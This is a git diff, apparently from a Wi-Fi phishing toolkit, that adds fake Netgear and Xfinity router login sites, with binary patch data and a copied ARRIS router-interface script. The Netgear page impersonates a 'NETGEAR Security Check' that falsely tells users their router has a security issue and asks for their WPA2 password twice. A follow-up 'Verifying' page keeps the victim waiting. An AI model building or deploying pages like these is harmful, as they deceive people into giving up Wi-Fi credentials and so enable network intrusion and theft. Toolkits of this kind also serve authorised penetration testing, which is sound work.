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 G|0V$JY(SX+ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/index.htm b/sites/Login-Netgear/index.htm new file mode 100644 index 0000000..19e3eee --- /dev/null +++ b/sites/Login-Netgear/index.htm @@ -0,0 +1,71 @@ + + + +NETGEAR Security Check + + + + +

+ + + + + + + + +
+ +
Netgear Router + +
+ +

+
+ + +
    +
  • +
+ + + +
+ +
Your NETGEAR™ wireless router detected a security issue. Please enter your wireless security settings to proceed. + +
+ +
+
   WPA2 Password: +
Confirm Password: +
+ +
+ +
Note: If you have not changed your wireless settings, the default password is printed on the bottom of the router.

+
+ + +
+ +
+ + + + +
+ + + +
+
+ + + + + diff --git a/sites/Login-Netgear/upgrading.html b/sites/Login-Netgear/upgrading.html new file mode 100644 index 0000000..17173e6 --- /dev/null +++ b/sites/Login-Netgear/upgrading.html @@ -0,0 +1,44 @@ + + + +Verifying + + + + + + + + + + + + + + + +
+ +
Netgear Router + +
+ + +
    +
  • +
+ + + + +
+

Verifying... reload this page in 1 minute.

+ +
+ + + + + \ No newline at end of file diff --git a/sites/Login-Xfinity/.DS_Store b/sites/Login-Xfinity/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..8e31db77b3064a5bf4b48356c1603cc17efb93b5 GIT binary patch literal 8196 zcmeHMNpI6Y6n;|*q(H%40zq)F=mi8q1qz%HA*^LlLsPY>S_pPBO-8sgmhCi@s!|S| zIPe2FvLCo{;f~!Y@{3RngHO9kZf!Nn>uYp|(NJvy*aDF9+ScB_Im<^hW18q6AOYE)E=sj~-SsKlfg zMAPxOE8P*Z2Adi+9f+m_F(VU`p%67X@?7N(B&*T3RspNPS_Ne8-U$`(F>4nq^7jyG z5Do^S><7X}FTAnHFyh_?RaB_0P=^qz5P^p=81k!_`PVT2pN3!+_nqWo9a~sX+$~Uq zDaB#vKl>vdyfwU{;dQR!l~j}fzdOV$M}%{Rx$oCZzY&M#I=}c~z~ZF8|2=72*S>zk z##G0q&2n?PHeD;!M5B;+Nj=Va(S+J#73v#1?bw$97IeHZR!M3lC!LSz3{vwRr=u)pJ_}efo9d8T$;r&k4IJq|;2u8Q zKYzfTJANGPfg{J}=bbyL)UJI;PhA-g=kGpv_~`MIr_Wx!R!9iNPG{st2|J;X9^Jy1h1l3D}uIM(~~vW)To@WQL8YbUH?%RTdV^Ak^<}W$!28!e-@uh_B+78 zG<)`3tpdMC0n&b^a3+VbmX`jNf#oXiV!eS?7U|d2s3_R1coD$;#Xk(ucF|RGvId(P Su?LI&5TInRjaA@}D)0>{)*a{o literal 0 HcmV?d00001 diff --git a/sites/Login-Xfinity/Xfinity_files/.DS_Store b/sites/Login-Xfinity/Xfinity_files/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..ad60de513efa7e5e4f86d1831b4514e1463034cd GIT binary patch literal 8196 zcmeHM&ubGw6n@jzcH2@(sX{@7Ju1|a^oP}3j8Ui{6eBHSCGKWJv$ENZ*-c|9fgC*f z7kKvfAK^{(XFs1BL;^fMMWYU;yuIPS%L`zUnol zVZbo(UoybY2OF7XUdyhM^3j1ph5(QgXqE|e!~qgxYnj)wtE7a&rivbfh6){G2n9#K z&FYYOExSr8I0*$Op+^=vLJ@Lw;B2W*BCn(=4FiUOK?XQ>pCXqWim958-y;`2yqUft zUpkTrHKN(RcA2izIz1bTx_tt5mMRoc9alslU4ir=m(d#cP7Hb@ihGPjwvLWa63vak z_Rkvn$nVfj&vhK5)M-zhNc6O56OV^FG#9jet>w1kh8sw&pKc@Y<0PB?A;!ih&P+~O z(=)StW#(rdm1lP+wcU+UaDTTh@ik>o@K`Xmnn@dj00@yZ0YHeP%wfeEk$9zWwR+1wS+$ z!CtOZiRz71x9+J&#iG|rDn#FMAMeQievdbzr%@YaZNJnEgDBjC9iG(!j*y;G3(nZ2 z12{?!PO^r)g4}bOfg4ZkZZA_#dhvvn792s@x&}Mz$Q6tcQzD)6cb3`x)0Qnh;*w6x zGa8tQbl$Z7q@1-oRF~Z~tvjW4hg#+}3Tz2Zz!6PT103--O5}P5HWF{$V~9DdIV4YV z8_P}A9KPv!6~~Z*+Q&DMz}!x|35toGBY&{7zX~B z0Wnc56$^m%z6wuT;8@#6evHhC^}0$*2nrdFL&^^U$o?OOsM}CwOkT^bl4wCP2LX}> LQy2#RDg(a&nuaK$ literal 0 HcmV?d00001 diff --git a/sites/Login-Xfinity/Xfinity_files/base.js b/sites/Login-Xfinity/Xfinity_files/base.js new file mode 100755 index 0000000..a361cc8 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/base.js @@ -0,0 +1,2656 @@ +//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +var _afterBuild = new Array(); +var _afterApply = new Array(); +var ag = null; +var _technician = { }; +var base = ""; +var basePath = ""; +var _lastEvent; + +function supports_html5_storage() { + try { + return 'sessionStorage' in window && window['sessionStorage'] !== null; + } catch (e) { + return false; + } +} +var _sessionStorage = supports_html5_storage() ? sessionStorage : null ; +function getSessionStorage(key) { + if (_sessionStorage) + return _sessionStorage[key]; + return Base64.decode(readCookie(key)); +} +function setSessionStorage(key,value) { + if (_sessionStorage) + _sessionStorage[key] = value; + else createCookie(key, Base64.encode(value)); +} + +// 1 - log, 2-show,4-verify,8-notrans, 64-set1 128-setmult +function debug(value) { + if (value !== undefined) + setSessionStorage("ar_debug_state",value); + return getSessionStorage("ar_debug_state") || 0; +} +function hardwareVersion(substring) { + if (getSessionStorage("ar_hw_version") === undefined || getSessionStorage("ar_hw_version")===null) + setSessionStorage("ar_hw_version", snmpGet1(arHardwareVersion.oid+".0") || "???"); + var hv = getSessionStorage("ar_hw_version"); + if (substring !== undefined) + return hv.indexOf(substring) != -1; + return hv; +} +function customerId() { + if (getSessionStorage("ar_cust_id") === undefined || getSessionStorage("ar_cust_id") === null) { + setSessionStorage("ar_cust_id", snmpGet1(arCustomID.oid+".0") || "0"); + } + return getSessionStorage("ar_cust_id").asInt(); +} + +function userRadioControl() { + if (getSessionStorage("ar_user_rc") === undefined || getSessionStorage("ar_user_rc") === null) { + setSessionStorage("ar_user_rc", snmpGet1(arWiFiRadioControlMode.oid+".0").asInt(0) === 0 ? 1 : 0); + } + return getSessionStorage("ar_user_rc") == "1"; +} + +function language() { + if (getSessionStorage("ar_language") === undefined || !getSessionStorage("ar_language")) { + setSessionStorage("ar_language", snmpGet1(arLanguage.oid+".0") || "English"); + } + return getSessionStorage("ar_language"); +} +function clearLanguage() { + setSessionStorage("ar_language", ""); +} + + +function isTwc() { + return customerId() === 3; +} +function isSuddenlink() { + return customerId() === 12; +} + +var menuStateLoaded = false; +function loadMenus() { + if (!menuStateLoaded && (getSessionStorage("ar_hide") === undefined || !getSessionStorage("ar_hide"))) { + menuStateLoaded = true; + + var table = [ ] ; // table stopped working WebAccessTable.getTable([arWebAccessPage]); + for (var i=1; i<20; i++) { + var s = snmpGet1(arWebAccessPage.oid+"."+i); + if (s) + table.push([s]); + else break; + } + + var hides = ";"; + var disables = ";"; + function loadRow(row) { + var ss = row[0].split(";"); + _.each(ss, function(sss) { + var ssss = sss.split(":"); + if (ssss[0] === "hide") + hides += ssss[1]+";"; + if (ssss[0] === "disable") + disables += ssss[1]+";"; + }); + } + _.each(table, loadRow); + setSessionStorage("ar_hide", hides); + setSessionStorage("ar_disable", disables); + } +} + +// todo: verify twc here +function menuVisible(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_hide").contains(s+";")); +} +function submenuVisible(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_hide").contains(s+";")); +} +function pageEnabled(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_disable").contains(s+";")); +} +function fieldsetVisible(s) { + loadMenus(); + return isTechnician() || !s || !(getSessionStorage("ar_hide").contains(base+"_"+s+";")); +} + +jQuery.fn.valOrChecked = function(v) { + var vals = []; + this.each(function() { + var a = $(this); + if (v !== undefined) { + if (a.is(':checkbox')) + a.attr("checked", !(v == "0")); + else a.val(v); + vals[0] = this; + } else { + vals.push(a.is(':checkbox') ? (a.is(":checked") ? 1 : 0) : a.val()); + } + }); + return vals[0]; +}; + +$.fn.truncateTextToFit = function() { + this.each(function() { + if ($(this).textWidth() <= $(this).width()) + return; + var t = $(this).text(); + $(this).attr("title",t); + while ($(this).textWidth() > $(this).width()) { + $(this).text(t.substr(0, t.length-1)); + t = $(this).text(); + } + $(this).html(t.substr(0, t.length-2)+" …"); + }) +}; + + +jQuery.log = function(message) { + if (debug()&1 && window.console && window.console.debug) { + window.console.debug(message); + } +}; +jQuery.fn.textWidth = function(){ + var calc = '' + $(this).text() + ''; + $('body').append(calc); + var width = $('body').find('span:last').width(); + $('body').find('span:last').remove(); + return width; +}; + +Boolean.prototype.asInt = function() { + return this.valueOf() ? 1 : 0; +} +Number.prototype.asInt = function() { + return Math.floor(this); +} + +Number.prototype.asString = function(len) { + var s = this.toString(); + if (s.length < len) + return "00000000000000000000000000000000".substr(0, len - s.length) + s; + return s; +} +Number.prototype.asHexString = function(len) { + var s = this.toString(16); + if (s.length < len) + return "00000000000000000000000000000000".substr(0, len - s.length) + s; + return s; +} +String.prototype.asInt = function(nanVal) { + var v = parseInt(this,10); + return isNaN(v) ? nanVal : v; +} +String.prototype.fmt = function () { + var args = arguments; + var pattern = new RegExp("%([0-" + arguments.length + "])", "g"); + return this.replace(pattern, function(match, index) { + return args[index]; + }); +} + +String.prototype.varsub = function(subfunc) { + var ss = this; + if (this.indexOf('{{') !== -1) + _.each(this.match(/{{[^}]*}}/g) || [], function(s) { + ss = ss.replace(s,subfunc(s.substr(2,s.length-4))); + }); + return ss.valueOf(); +} + +String.prototype.startsWith = function(str) { + return (this.indexOf(str) === 0); +} +String.prototype.endsWith = function (str) { + var lastIndex = this.lastIndexOf(str); + return (lastIndex != -1) && (lastIndex + str.length == this.length); +} +String.prototype.grow = function(i) { + var len = this.length + i; + if (len < 0) + len = 0; + if (len <= this.length) { + return this.substr(0, len); + } else { + var s = this; + while (len-- > this.length) + s += " "; + return s; + } +} +String.prototype.contains = function () { + for (var i=0; i0) { + s = ch+s; + } + return s; +}; +String.prototype.trim = function() { + return this.replace(/^\s+|\s+$/g,""); +} +String.prototype.ltrim = function() { + return this.replace(/^\s+/,""); +} +String.prototype.rtrim = function() { + return this.replace(/\s+$/,""); +} + +Array.prototype.unique = function unique(keyfunc) { + if (!keyfunc) keyfunc = function(a) { return a; }; + var o = { }; + _.each(this, function(e) { o[keyfunc(e)]=true; }) + var ua = [ ]; + _.each(this, function(e) { if (o[keyfunc(e)]) ua.push(e); o[keyfunc(e)]=false; }); + return ua; +} + +var Base64 = { + // private property + _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", + isBase64 : function(input) { + for (var i=0; i> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + if (isNaN(chr2)) { + enc3 = enc4 = 64; + } else if (isNaN(chr3)) { + enc4 = 64; + } + output = output + + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); + + } + return output; + }, + // public method for decoding + decode : function (input) { + if (input === null) + return ""; + var output = ""; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + while (i < input.length) { + enc1 = this._keyStr.indexOf(input.charAt(i++)); + enc2 = this._keyStr.indexOf(input.charAt(i++)); + enc3 = this._keyStr.indexOf(input.charAt(i++)); + enc4 = this._keyStr.indexOf(input.charAt(i++)); + chr1 = (enc1 << 2) | (enc2 >> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + output = output + String.fromCharCode(chr1); + if (enc3 != 64) { + output = output + String.fromCharCode(chr2); + } + if (enc4 != 64) { + output = output + String.fromCharCode(chr3); + } + } + output = Base64._utf8_decode(output); + return output; + }, + + // private method for UTF-8 encoding + _utf8_encode : function (string) { + string = string.replace(/\r\n/g,"\n"); + var utftext = ""; + for (var n = 0; n < string.length; n++) { + var c = string.charCodeAt(n); + if (c < 128) { + utftext += String.fromCharCode(c); + } + else if((c > 127) && (c < 2048)) { + utftext += String.fromCharCode((c >> 6) | 192); + utftext += String.fromCharCode((c & 63) | 128); + } + else { + utftext += String.fromCharCode((c >> 12) | 224); + utftext += String.fromCharCode(((c >> 6) & 63) | 128); + utftext += String.fromCharCode((c & 63) | 128); + } + } + return utftext; + }, + // private method for UTF-8 decoding + _utf8_decode : function (utftext) { + var string = ""; + var i = 0; + var c = c1 = c2 = 0; + while ( i < utftext.length ) { + c = utftext.charCodeAt(i); + if (c < 128) { + string += String.fromCharCode(c); + i++; + } + else if((c > 191) && (c < 224)) { + c2 = utftext.charCodeAt(i+1); + string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); + i += 2; + } + else { + c2 = utftext.charCodeAt(i+1); + c3 = utftext.charCodeAt(i+2); + string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); + i += 3; + } + } + return string; + } +} + + + + + +function createCookie(name, value, seconds) { + var expires = ""; + if (seconds) { + var date = new Date(); + date.setTime(date.getTime() + (seconds * 1000 + 15)); + expires = "; expires=" + date.toGMTString(); + } + document.cookie = name + "=" + value + expires + "; path=/"; +} +function updateCookieExpiration(name, seconds) { + var cookie = readCookie(name); + if (!cookie) + return; + eraseCookie(cookie); + createCookie(name, cookie, seconds); +} +function readCookie(name) { + var nameEQ = name + "="; + var ca = document.cookie.split(';'); + for (var i = 0; i < ca.length; i++) { + var c = ca[i]; + while (c.charAt(0) == ' ') c = c.substring(1, c.length); + if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length); + } + return null; +} + +function eraseCookie(name) { + createCookie(name, "", -1); +} + +function htmlEscape(s) { + s = ""+s; // make sure a string + return s.replace(/&/g,'&'). + replace(/>/g,'>'). + replace(/"; + return str; + }; + var add = function () { + for (var i = 0; i < arguments.length; i++) { + var a = arguments[i]; + if (!a) + continue; + if (typeof a === "string") { + var index = a.indexOf(":"); + var key = a.substr(0, index); + var val = a.substr(index + 1); + val = val.varsub(function(s) { return s.startsWith("=") ? eval(s.substring(1)) : xlate(s); }); + def[key] = val; + } else if (typeof a == "function") { + var fname = a.toString(); + fname = fname.substring(fname.indexOf(" ") + 1, fname.indexOf("(")); + var uniquefname = getNextName(fname); + window[uniquefname] = function (e) { + _lastEvent = window["event"] ? event : e; + a(_lastEvent); + }; + def[fname] = "{ " + uniquefname + "(arguments[0]);}"; + } else if (_.isArray(a)) { + for (var j = 0; j < a.length; j++) + add(a[j]); + } else { + contents.push(a); + } + } + }; + add.apply(this, arguments); + if (contents.length) + def["contents"] = contents; + return def; + }; +} + + +$.each([ "a","abbr","acronym","address","applet","area","b","base","basefont","bdo","big","blockquote","body","br","button","caption","center","cite","code","col","colgroup","dd","del", + "dfn","dir","div","dl","dt","em","fieldset","font","form","frame","frameset","h1","h2","h3","h4","h5","h6","head","hr","html","i","iframe","img","input","ins","isindex","kbd","label", + "legend","li","link","map","menu","meta","noframes","noscript","object","ol","optgroup","option","p","param","pre","q","s","samp","script", + "select","small","span","strike","strong","style","sub","sup","table","tbody","td","textarea","tfoot","th","thead","title","tr","tt","u","ul","var" ] + , function(i, t) { + if (window["_" + t]) + throw("error _" + t + " already defined."); + window["_" + t] = buildTag(t); + +}); + +function parseLabel(label) { + var index = label.indexOf(":"); + if (index == -1) { + return { label: label, oid: "" }; + } else { + var key = label.substr(0, index); + var val = label.substr(index + 1); + //OIDs.push(val); + return { label: key, oid: val }; + } +} + +// $("body").width() + +function helpTag(label1, text) { + var t = text || helpText(label1); + afterBuild(function() { + $("#"+label1+"_image_tt").mouseenter(function(e) { + $("body").append("
"); + $("#ttip").text(t); + $("#ttip").css('z-index',"11000"); + $("#ttip").css('top', $(this).offset().top); + $("#ttip").css('left',$(this).offset().left+32); + $("#ttip").show(); + }); + $("#"+label1+"_image_tt").mouseleave(function(e) { + $("#ttip").remove(); + }); + }); + return _div("style:display:inline;", _img("id:"+label1+"_image_tt", "src:" + basePath + "i/help.png", "height:16px", "width:16px", "style:padding-left:10px;padding-right:10px;" + )); +} +// return _img("class:tipped", "src:" + basePath + "i/help.png", "height:16px", "width:16px", "style:padding-left:10px;padding-right:10px;", "title:" + helpText(label1)); + + +function inlineButton(label1, onclick) { + return _tr(_td("width:35%", "text:" + xlate(label1)), _td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick), helpTag(label1))); +} +function inlineButtonRaw(label1, onclick) { + return _tr(_td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick))); +} +function inlineButtonRaw2(label1, onclick,label2, onclick2) { + return _tr(_td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick),_input("type:button", "id:" + label2, "value:{{"+label2+"}}", onclick2))); +} +function inlineButtonImage(label1, image, onclick) { + return _tr(_td("width:35%", "text:{{"+label1+"}}"), _td(_input("type:image", "id:" + label1, "src:" + image, onclick), helpTag(label1))); +} + + +function formatter(args) { + var f = { }; + f.load = function(v) { + return v === undefined || v === null ? "" : v; + }; + f.store = function(v) { + return v === undefined || v === null ? "" : v; + }; + f.validate = function(v) { + if (this.notEmpty && (""+v).length == 0) + throw xlate("%s: must have a value", f.label); + if (this.notZero && v.asInt() === 0) + throw xlate("%s: must be a positive number", f.label); + return v; + }; + f.storeAndValidate = function(v) { + return f.store(f.validate(v)); + }; + if (args) { + _.each(args, function(v, k) { + f[k] = v; + }); + } + return f; +} + +function textFormatter(args) { + var o = formatter(args); + o.load = function(v) { + v = ( v === undefined || v === null) ? "" : v; + if (v && isHexString(v) && v.endsWith(" 00")) { // strip improper null term + v = v.substr(0, v.length-3); + v = hexToString(v); + } + return v; + }; + return o; +} + + + + + +function text(label1, fmt, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + // afterBuild(function() { + // $("#"+label1).bind("change", function() { + // adirty[label1] = $("#"+label1).valOrCheckd(); + // }); + // }); + if (f.store) + afterApply(function() { + if (ag[label1] !== undefined) { + if (!$("#"+label1).attr("disabled")) { + var v =(f.validate($("#" + label1).valOrChecked())); + ag.dirty[label1] = ag[label1] !== v; + if (ag.dirty[label1]) + $.log("dirty "+label1+" "+ag[label1]+" "+v); + ag[label1] = f.store(v); + } + } else ag.dirty[label1] = true; + + }); + var type = label1.indexOf("Password") != -1 ? "password" : "text"; + if (label1 == "Keystring") + type = "password"; + + if (f.password) + type = "password"; + f.label = xlate(label1); + ag[label1] = f.load ? f.load(ag[label1]) : ag[label1]; + return _tr(_td("width:35%", "text:{{"+label1+"}}"), _td(_input("type:" + type, "id:" + label1, "value:" + htmlEscape(""+ag[label1]), + (f.size ? "size:" + f.size : null)), helpTag(label1, helpText))); +} +function text2(label1, fmt, sepText, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + var l = parseLabel(label1); + if (f.store) + afterApply(function() { + if (ag[label1] !== undefined) { + var v1 = (f.validate($("#" + label1).valOrChecked())); + ag.dirty[label1] = ag[label1] !== v1; + ag[label1] = f.store(v1); + } else ag.dirty[label1] = true; + if (ag[label1 + "_1"] !== undefined) { + var v2 = (f.validate($("#" + label1 + "_1").valOrChecked())); + ag.dirty[label1 + "_1"] = ag[label1 + "_1"] !== v2; + ag[label1 + "_1"] = f.store(v2); + } else ag.dirty[label1 + "_1"] = true; + }); + ag[label1] = f.load(ag[label1]); + ag[label1 + "_1"] = f.load(ag[label1 + "_1"]); + f.label = xlate(label1); + + return _tr(_td("width:35%", "text:{{" + label1 + "}}"), + _td(_input("type:text", "id:" + l.label, (f.size ? "size:" + f.size : null), "value:" + htmlEscape(""+ag[label1])), _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), _input("type:text", (f.size ? "size:" + f.size : null), "id:" + l.label + "_1", "value:" + htmlEscape(""+ag[label1 + "_1"])), helpTag(label1, helpText))); +} +function rotext(label1, fmt) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + var l = parseLabel(label1); + ag[label1] = f.load ? f.load(ag[label1]) : ag[label1]; + + return _tr(_td("width:35%", "text:{{" + label1 + "}}"), _td(_input("type:text", "id:" + l.label, (f.size ? "size:" + f.size : null), "class:read_only", "disabled:disabled", "value:" + htmlEscape(ag[label1])), helpTag(label1))); +} +function snmpText(label1, val, size) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:text", "class:read_only", "disabled:disabled", "value:" + val, + (size !== undefined ? "size:" + size : null)))); + +} +var snmpTextEditId = 0; +function snmpTextEdit(label1, val, size) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("id:snmpTextEdit"+(snmpTextEditId++),"type:text","value:" + val, + (size !== undefined ? "size:" + size : null)))); +} +function snmpTextArea(label1, val) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_textarea("rows:6", "cols:50", "class:read_only", "disabled:disabled", "text:" + val + ))); + +} + + +function snmpFieldset(label1, contents) { + return _div("id:" + label1, _h4("text:{{" + label1+"}}"), _table("class:common_table", _tbody($.makeArray(arguments).slice(1)))); +} + +function form(label1, label2, contents) { + return _div(_div("class:description", _h3("text:{{" + label1+"}}"), _div("text:{{" + label2+"}}")), + //_div("id:loading_distractor" , "style:display: none;", + //"style:position:absolute;left:300px;top:350px;z-index:9;", + //_span(_img("src:i/distractor.gif"))), + $.makeArray(arguments).slice(2), _br(), _br()); +} + +function fieldset(label1, contents) { + if (technicianOnly(label1) && !isTechnician()) + return null; + if (!fieldsetVisible(label1)) + afterBuild(function() { $("#" + label1).hide(); }); + return _div("id:" + label1, _h4("text:{{" + label1+"}}"), _table("class:common_table", _tbody($.makeArray(arguments).slice(1)))); +} +function checkbox(label1, onchange, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterApply(function() { + if (ag[label1] !== undefined) { + var v = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] != v; + ag[label1] = v; + } else ag.dirty[label1] = true; + }); + + //checkboxItem(label1); + var l = parseLabel(label1); + var checked = ag[label1]; + + if (checked) + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:checkbox", "id:" + l.label, "checked:true", onchange), helpTag(label1, helpText))); + else return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:checkbox", "id:" + l.label, onchange), helpTag(label1, helpText))); +} + +// nb: values must be get set explicitly +function checkbox4(label1, label2,label3, label4) { + if (technicianOnly(label1) && !isTechnician()) + return null; + + function buildCheck(name) { + var al = [ ]; + if (name) { + al.push(_input("type:checkbox", "name:"+name, "id:"+name)); + al.push(_label("for:"+name, "text:     "+name)); + } + return al; + } + + return _tr(_td("width:25%", buildCheck(label1)), _td("width:25%", buildCheck(label2)),_td("width:25%", buildCheck(label3)), 